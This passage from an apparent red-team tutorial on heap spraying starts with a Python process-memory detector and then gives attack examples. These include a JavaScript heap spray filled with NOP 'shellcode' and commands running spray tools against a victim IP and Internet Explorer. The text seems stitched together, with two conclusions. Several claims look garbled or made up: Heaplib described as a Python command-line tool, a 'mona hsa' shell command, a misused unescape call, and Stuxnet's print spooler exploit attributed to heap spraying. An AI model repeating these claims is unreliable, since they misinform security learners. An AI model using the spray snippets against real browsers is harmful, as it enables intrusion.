- Data Execution Prevention (DEP): Prevents execution from heap pages
- Heap Cookies: Integrity checks on heap metadata
- Safe Unlinking: Validates heap operations
- Application Whitelisting: Prevents unauthorized code execution
Detection Strategies#
#!/usr/bin/env python3
"""
Heap Spray Detection System
Monitors process memory for heap spraying activity
"""
import psutil
import time
from collections import defaultdict
import logging
class HeapSprayDetector:
def __init__(self):
self.baseline_stats = {}
self.anomalies = []
self.logger = logging.getLogger('HeapSprayDetector')
def establish_baseline(self, process_name: str, monitoring_time: int = 300):
"""Establish normal memory allocation patterns"""
self.logger.info(f"Establishing baseline for {process_name}")
allocations = defaultdict(list)
for _ in range(monitoring_time):
try:
for proc in psutil.process_iter(['name', 'memory_info']):
if proc.info['name'] == process_name:
mem_info = proc.info['memory_info']
allocations['rss'].append(mem_info.rss)
allocations['vms'].append(mem_info.vms)
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
time.sleep(1)
# Calculate baseline statistics
self.baseline_stats[process_name] = {
'avg_rss': sum(allocations['rss']) / len(allocations['rss']),
'avg_vms': sum(allocations['vms']) / len(allocations['vms']),
'max_rss': max(allocations['rss']),
'max_vms': max(allocations['vms'])
}
def monitor_process(self, process_name: str):
"""Monitor process for heap spraying indicators"""
self.logger.info(f"Monitoring {process_name} for heap spray activity")
while True:
try:
for proc in psutil.process_iter(['name', 'memory_info', 'memory_maps']):
if proc.info['name'] == process_name:
self.analyze_memory_usage(proc)
self.analyze_memory_maps(proc)
except Exception as e:
self.logger.error(f"Monitoring error: {e}")
time.sleep(5)
def analyze_memory_usage(self, proc):
"""Analyze memory usage for suspicious patterns"""
if proc.info['name'] not in self.baseline_stats:
return
baseline = self.baseline_stats[proc.info['name']]
current_rss = proc.info['memory_info'].rss
# Check for sudden memory spikes (heap spray indicator)
if current_rss > baseline['max_rss'] * 2:
anomaly = {
'type': 'memory_spike',
'process': proc.info['name'],
'current_rss': current_rss,
'baseline_max': baseline['max_rss'],
'timestamp': time.time()
}
self.anomalies.append(anomaly)
self.logger.warning(f"Memory spike detected: {anomaly}")
def analyze_memory_maps(self, proc):
"""Analyze memory maps for heap spray artifacts"""
try:
maps = proc.memory_maps()
suspicious_regions = []
for region in maps:
# Look for large anonymous mappings (heap spray indicator)
if (region.path == '[heap]' or region.path == '[anon]') and \
region.size > 100 * 1024 * 1024: # 100MB
suspicious_regions.append(region)
# Look for executable heap regions (DEP violation)
if region.path == '[heap]' and 'x' in region.perms.lower():
suspicious_regions.append(region)
if suspicious_regions:
anomaly = {
'type': 'suspicious_memory_map',
'process': proc.info['name'],
'regions': suspicious_regions,
'timestamp': time.time()
}
self.anomalies.append(anomaly)
self.logger.warning(f"Suspicious memory map: {anomaly}")
except (psutil.AccessDenied, OSError):
# May not have permission to read memory maps
pass
def get_anomalies(self):
"""Retrieve detected anomalies"""
return self.anomalies
def generate_report(self):
"""Generate detection report"""
report = "Heap Spray Detection Report\n"
report += "=" * 40 + "\n\n"
report += f"Total anomalies detected: {len(self.anomalies)}\n\n"
for anomaly in self.anomalies[-10:]: # Last 10 anomalies
report += f"Time: {time.ctime(anomaly['timestamp'])}\n"
report += f"Type: {anomaly['type']}\n"
report += f"Process: {anomaly['process']}\n"
if anomaly['type'] == 'memory_spike':
report += f"Current RSS: {anomaly['current_rss']}\n"
report += f"Baseline Max: {anomaly['baseline_max']}\n"
report += "-" * 30 + "\n"
return report
# Usage
detector = HeapSprayDetector()
detector.establish_baseline("chrome.exe", 60) # 1 minute baseline
detector.monitor_process("chrome.exe")
References and Further Reading#
Academic Research#
- “Heap Spraying as a Generic Exploit Technique” - Sintsov (2009)
- “Dynamic Heap Spraying” - Security Research Labs
- “Browser Heap Spraying Techniques” - Various Black Hat presentations
- “Advanced Heap Exploitation” - Phrack Magazine articles
Security Tools and Frameworks#
- Volatility Framework: Memory analysis for heap spray detection
- Rekall: Advanced memory forensics
- WinDbg: Windows heap debugging and analysis
- GDB: Linux heap analysis with heap extensions
Modern Mitigation Research#
- “Control Flow Integrity”: Protecting against heap-based code reuse
- “Heap Temporal Safety”: Preventing use-after-free vulnerabilities
- “Memory Tagging”: ARM MTE and Intel Memory Protection Keys
- “WebAssembly Security”: Modern browser heap protections
Standards and Best Practices#
- CERT Secure Coding Standards: Memory management guidelines
- Microsoft Security Development Lifecycle: Heap security requirements
- OWASP Memory Management Cheat Sheet: Web application heap security
- ISO/IEC TS 17961: Secure coding guidelines for C/C++
Conclusion#
Heap spraying represents the intersection of memory management theory and practical exploitation, transforming abstract concepts into concrete attack vectors. From the predictable allocations of early Windows systems to the sophisticated ASLR bypasses of modern exploits, heap spraying has evolved alongside defensive technologies.
As red team practitioners, understanding heap spraying provides not just another exploitation technique, but deep insight into how memory management systems work—and how they can be manipulated. The same techniques that make heap spraying possible also illuminate defensive strategies, from proper memory management to advanced mitigations like CFI and MTE.
In an era of increasingly sophisticated defenses, heap spraying reminds us that creativity and deep understanding will always find ways to challenge security assumptions. Whether you’re crafting the next zero-day or defending against advanced persistent threats, the heap remains a battleground where theoretical knowledge meets practical impact.
Tools and Techniques for Heap Spraying#
JavaScript#
JavaScript is a popular language used to exploit vulnerabilities in web browsers. Attackers can use JavaScript to perform heap spraying attacks against web browsers and execute arbitrary code on the victim’s machine.
One common technique is to use the “Array” object to create a large number of objects in the heap. Attackers can then use these objects to overflow memory buffers and execute their payload.
Here’s an example of how an attacker can use JavaScript to perform a heap spray attack:
var shellcode = unescape("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
var heap = new Array();
for (var i = 0; i < 0x10000; i++) {
heap[i] = shellcode;
}
In this example, we create an array called heap and fill it with the shellcode. The for loop creates 65,536 objects, each containing the same shellcode.
Heap Spray Tools#
Several tools are available to automate heap spraying attacks. These tools typically use dynamic heap spraying techniques and can be customized to target specific operating systems and runtime environments.
One popular tool is “Heaplib,” which is a Python-based tool that can perform heap spraying attacks against Windows operating systems. The tool can allocate objects of different sizes and fill them with arbitrary data.
Here’s an example of how an attacker can use Heaplib to perform a heap spray attack:
git clone https://github.com/9aylas/Heaplib.git
cd Heaplib
python heaplib.py -i 192.168.1.10 -p 80 -t iexplore.exe
In this example, we use Heaplib to perform a heap spray attack against Internet Explorer on a victim machine with the IP address 192.168.1.10. The tool allocates objects of different sizes and fills them with arbitrary data.
Heap Feng Shui#
Heap feng shui is a technique used in dynamic heap spraying attacks. Attackers use heap feng shui to manipulate the heap and locate the objects they spray in the desired location.
One common technique is to use the “Heap Spray Allocator” (HSA), which is a custom allocator designed for heap spraying attacks. The HSA allocates memory in specific locations in the heap, making it easier for attackers to locate the objects they spray.
Here’s an example of how an attacker can use the HSA to perform a heap spray attack:
git clone https://github.com/corelan/mona.git
cd mona
!mona hsa -p iexplore.exe -a 0x00400000 -t
In this example, we use the HSA to allocate memory in Internet Explorer at address 0x00400000. The tool allocates
objects of different sizes and fills them with arbitrary data.
Real-World Examples#
Heap spraying is a popular technique used by attackers to exploit vulnerabilities in software. Here are some real-world examples of heap spraying attacks:
Stuxnet Worm#
The Stuxnet worm was a sophisticated cyberweapon that was designed to sabotage Iran’s nuclear program. The worm used several advanced techniques, including heap spraying, to exploit vulnerabilities in the Windows operating system.
One of the Stuxnet worm’s most significant achievements was the exploitation of a zero-day vulnerability in the Windows Print Spooler service. The worm used a heap spraying technique to exploit this vulnerability and gain remote access to the infected machine.
Aurora Attacks#
The Aurora attacks were a series of cyberattacks launched against several high-profile companies in 2009 and 2010. The attackers used a combination of social engineering, spear-phishing, and heap spraying techniques to gain access to the victims’ networks.
The attackers used a heap spraying technique to exploit a vulnerability in Internet Explorer 6. The exploit used a specially crafted JavaScript to flood the heap with objects and execute arbitrary code. Once the attackers gained access to the victims’ networks, they exfiltrated sensitive data, including intellectual property and trade secrets.
Conclusion#
Heap spraying is a powerful technique that attackers use to exploit vulnerabilities in software applications. As security professionals, it’s essential to understand the different heap spraying techniques and tools that attackers use and how to defend against them.
By understanding the basics of the heap, memory allocation algorithms, and heap management techniques, we can identify potential vulnerabilities and apply appropriate security controls.
We’ve explored three different heap spraying techniques: static, dynamic, and blind. We’ve also provided examples of tools and techniques that attackers use to perform heap spraying attacks, including JavaScript, heap spray tools, and heap feng shui.
It’s important to note that heap spraying attacks can be detected and prevented by implementing appropriate security controls. Some common controls include:
- Memory randomization: Randomizing the location of the heap in memory makes it difficult for attackers to locate the objects they spray. Modern operating systems and runtime environments implement memory randomization techniques to prevent heap spraying attacks.
- Heap hardening: Heap hardening techniques can prevent buffer overflows and other vulnerabilities in the heap. These techniques can include bounds checking, pointer validation, and canary values.
- Code signing: Code signing can prevent attackers from injecting malicious code into a program. By verifying the digital signature of the code, the operating system or runtime environment can ensure that the code is legitimate and has not been tampered with.
- Input validation: Input validation can prevent buffer overflows and other vulnerabilities by ensuring that input data is of the expected format and size. Programs should validate all user input and reject any data that does not conform to the expected format.
By implementing these security controls, we can prevent heap spraying attacks and other types of memory-based attacks.
In conclusion, heap spraying is a powerful technique that attackers use to exploit vulnerabilities in software applications. By understanding the different heap spraying techniques and tools that attackers use, we can identify potential vulnerabilities and apply appropriate security controls to prevent attacks. As security professionals, it’s essential to stay up to date with the latest security developments and continuously improve our skills to stay ahead of attackers.